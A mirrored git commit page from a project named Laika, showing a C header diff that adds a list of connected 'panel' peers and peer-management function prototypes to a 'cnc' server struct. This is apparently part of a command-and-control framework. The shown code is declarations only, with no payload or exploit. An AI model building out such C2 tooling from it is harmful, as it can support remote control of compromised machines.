1
0
mirror of https://github.com/CPunch/Laika.git synced 2025-10-20 05:40:21 +00:00

Added cnc's panel list, minor refactoring of packets

This commit is contained in:
2022-02-12 18:21:59 -06:00
parent 49a992c70a
commit a442f2f493
5 changed files with 140 additions and 4 deletions

View File

@@ -11,11 +11,20 @@ struct sLaika_cnc {
uint8_t priv[crypto_kx_SECRETKEYBYTES], pub[crypto_kx_PUBLICKEYBYTES];
struct sLaika_socket sock;
struct sLaika_pollList pList;
struct sLaika_peer **panels; /* holds connected panel peers */
int panelCount;
int panelCap;
};
struct sLaika_cnc *laikaC_newCNC(uint16_t port);
void laikaC_freeCNC(struct sLaika_cnc *cnc);
void laikaC_onAddPeer(struct sLaika_cnc *cnc, struct sLaika_peer *peer);
void laikaC_onRmvPeer(struct sLaika_cnc *cnc, struct sLaika_peer *peer);
void laikaC_addPanel(struct sLaika_cnc *cnc, struct sLaika_peer *panel);
void laikaC_rmvPanel(struct sLaika_cnc *cnc, struct sLaika_peer *panel);
void laikaC_killPeer(struct sLaika_cnc *cnc, struct sLaika_peer *peer);
bool laikaC_pollPeers(struct sLaika_cnc *cnc, int timeout);